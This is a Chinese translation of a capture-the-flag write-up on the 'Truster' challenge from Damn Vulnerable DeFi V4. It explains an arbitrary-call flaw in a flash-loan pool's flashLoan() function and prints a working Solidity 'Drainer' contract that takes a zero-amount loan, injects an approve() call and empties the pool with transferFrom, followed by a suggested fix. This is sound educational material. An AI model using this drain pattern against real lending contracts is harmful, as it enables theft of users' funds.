本文分析了Damn Vulnerable DeFi V4挑战中的Truster漏洞。该漏洞存在于flashLoan()函数中,允许通过target.functionCall(data)执行任意函数调用,攻击者可以利用此漏洞,无需借款即可通过调用approve()函数获得授权,转移pool中的所有tokens到攻击者地址,最终成功攻击。
本解释假定你事先了解此挑战中的智能合约,并将专门关注漏洞分析。
越来越多的借贷池提供闪电贷。 在这种情况下,一个新的池已经启动,它免费提供 DVT 代币的闪电贷。
该池持有 100 万个 DVT 代币。 你什么都没有。
要通过此挑战,请执行单个交易来拯救池中的所有资金。 将资金存入指定的恢复帐户。
在 flashLoan()
函数中,我们可以看到该合约允许通过 target.functionCall(data)
语句进行任意的函数调用。 这使得攻击者可以完全控制在贷款转移后调用哪个函数。
根本问题在于,合约假定外部调用是安全的,只要在交易结束时保持代币余额即可。 但是,它完全忽略了在外部调用期间执行的操作,这些操作可能包括授权未来的转账。
flashLoan()
并传入 0 金额(不需要实际借款)data
,编码一个 approve()
调用,授予我们转移池中所有代币的权限transferFrom()
将所有代币从池转移到我们的地址 contract Drainer {
constructor(DamnValuableToken token, TrusterLenderPool pool, address recovery) {
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
token.balanceOf(address(pool))
);
pool.flashLoan(0, address(this), address(token), data);
token.transferFrom(address(pool), recovery, token.balanceOf(address(pool)));
}
}
/**
* CODE YOUR SOLUTION HERE
* 在这里写你的解决方案
*/
function test_truster() public checkSolvedByPlayer {
Drainer drainer = new Drainer(token, pool, recovery);
}
最简单的解决方案是完全删除 target.functionCall(data)
,如果它对于闪电贷功能不是必不可少的。 闪电贷通常不需要执行任意的外部调用。 闪电贷通常调用在初始合约中实现的精确函数,通常遵循标准的回调模式,其中借款人实现特定的接口(示例:https://aave.com/docs/developers/flash-loans)。
GitHub 包含解决方案的仓库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/
查看我的 X 个人资料:https://x.com/_synthrax
- 原文链接: coinsbench.com/damn-vuln...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!